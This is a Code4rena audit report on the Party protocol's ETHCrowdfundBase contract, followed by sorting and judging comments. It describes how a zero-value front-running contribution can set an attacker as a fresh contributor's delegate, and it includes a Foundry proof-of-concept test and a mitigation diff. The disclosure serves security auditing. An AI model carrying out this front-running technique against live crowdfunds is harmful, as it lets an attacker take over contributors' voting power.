ETHCrowdfundBase.delegationsByContributor can be manipulated via zero-value front-running donations

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/ETHCrowdfundBase.sol#L202

Vulnerability details

ETHCrowdfundBase updates a contributor's delegation at each new contribution:

    // ETHCrowdfundBase:196
    
    function _processContribution(
        address payable contributor,
        address delegate,
        uint96 amount
    ) internal returns (uint96 votingPower) {
        address oldDelegate = delegationsByContributor[contributor];
        if (msg.sender == contributor || oldDelegate == address(0)) {
            // Update delegate.
            delegationsByContributor[contributor] = delegate;
        } else {
            // Prevent changing another's delegate if already delegated.
            delegate = oldDelegate;
        }

        emit Contributed(msg.sender, contributor, amount, delegate);

        // OK to contribute with zero just to update delegate.
        if (amount == 0) return 0;

If we look closely at how the if condition is formulated, we can tell that:

1. any address is allowed to change any contributor's delegate, assuming there are no contributions yet for the contributor (otherwise oldDelegate would be non-zero)
2. if the contributor never contributes for themselves, their delegate never changes

This could cause a problem for contributor addresses who are for example contracts designed to interact with party but for the crowdfunding phase rely on other addresses to have their position built.

Impact

A malicious actor can monitor contributions on behalf off addresses without prior contributions; when one comes, it can front-run it, contribute a 0 amount to that victim address, setting themselves as delegate.

If no further contributions are made, originating directly from the victim address, this delegation may give the attacker access to the victim's voting power and funds.

Proof of Concept

The following PoC shows how a front-running zero-value donation to a fresh contributor sets the attacker as delegate for the contributor:

pragma solidity >=0.8.20;

import "forge-std/Test.sol";
import {ETHCrowdfundBase} from "contracts/crowdfund/ETHCrowdfundBase.sol";
import {Globals} from "contracts/globals/Globals.sol";

contract M3 is Test {
    function testFirstZeroDonation() public {
        Globals globals = new Globals(address(this));
        ETHCrowdfund ecb = new ETHCrowdfund(globals);

        address payable contributor = payable(address(1));
        address attacker = address(2);
        address legitDonor = address(3);

        // front-run
        vm.prank(attacker);
        ecb.contribute(contributor, attacker, 0);
        assertEq(attacker, ecb.delegationsByContributor(contributor));

        // legit donation
        vm.prank(legitDonor);
        ecb.contribute(contributor, attacker, 1e18);

        // crowdfund ends; depending on the child contract logic, 
        // attacker may benefit from this delegation, 
        // i.e. with privilege on legitDonor's assets
        assertEq(attacker, ecb.delegationsByContributor(contributor));
    }

}

contract ETHCrowdfund is ETHCrowdfundBase {
    constructor(Globals g) ETHCrowdfundBase(g) {
        maxTotalContributions = type(uint96).max;
        maxContribution = type(uint96).max;
        expiry = type(uint40).max;
        exchangeRateBps = 1;
    }

    function contribute(address payable contributor, address delegate, uint96 amount) public {
        _processContribution(contributor, delegate, amount);
    }
}

Tools Used

Code review, Foundry

Recommended Mitigation Steps

Whenever it is a different address making the first donation for a contributor, automatically set their delegate to the contributor itself rather than what's specified by the caller:

    // ETHCrowdfundBase.sol:196
    function _processContribution(
        address payable contributor,
        address delegate,
        uint96 amount
    ) internal returns (uint96 votingPower) {
        address oldDelegate = delegationsByContributor[contributor];
-        if (msg.sender == contributor) || oldDelegate == address(0)) {
+        if (msg.sender == contributor) {
            // Update delegate.
            delegationsByContributor[contributor] = delegate;
+       } else if (oldDelegate == address(0)) {
+           delegationsByContributor[contributor] = contributor;
        } else {
            // Prevent changing another's delegate if already delegated.
            delegate = oldDelegate;
        }

Assessed type

ERC721

[ydspa]

Contributors can update delegate later in Party, the likelihood is very low that a contributor to be a smart contract designed for interacting with Party protocol but without implementing interfaces such as propose/accecpt/delegateVotingPower

File: contracts\party\PartyGovernance.sol
451:     function delegateVotingPower(address delegate) external {
452:         _adjustVotingPower(msg.sender, 0, delegate);
453:     }

QA; L

[c4-pre-sort]

ydspa marked the issue as insufficient quality report

[c4-pre-sort]

ydspa marked the issue as primary issue

[c4-judge]

gzeon-c4 marked the issue as duplicate of #418

[c4-judge]

gzeon-c4 marked the issue as satisfactory

[3docSec]

Hi @gzeon-c4 could you review the labels for this? After the change to "satisfactory" is this meant to stay with "insufficient quality report"? TY

[gzeon-c4]

Hi @gzeon-c4 could you review the labels for this? After the change to "satisfactory" is this meant to stay with "insufficient quality report"? TY

it is satisfactory, insufficient quality report is irrelevant

[0xdeth]

Hey @gzeon-c4

This issue shouldn't be a full duplicate of #418 as it does not show the core problem of the attack described in #418.

#418 showcases that a malicious user can front run a contribution and set themselves or another address as a delegate and then the contributor won't be able to change their delegate through their contribution, because of this check in mint:

        address delegate_ = delegationsByVoter[owner];
        if (delegate_ != address(0)) {
            delegate = delegate_;
        }

While the provided PoC of this issue works, it incorrectly points to the problem being in _processContribution not in mint.

We believe this can be should be marked as partial-50, as the PoC showcases the issue, but the actual report doesn't point to where the actual root cause of the issue is.

Cheers.

[c4-judge]

gzeon-c4 marked the issue as partial-50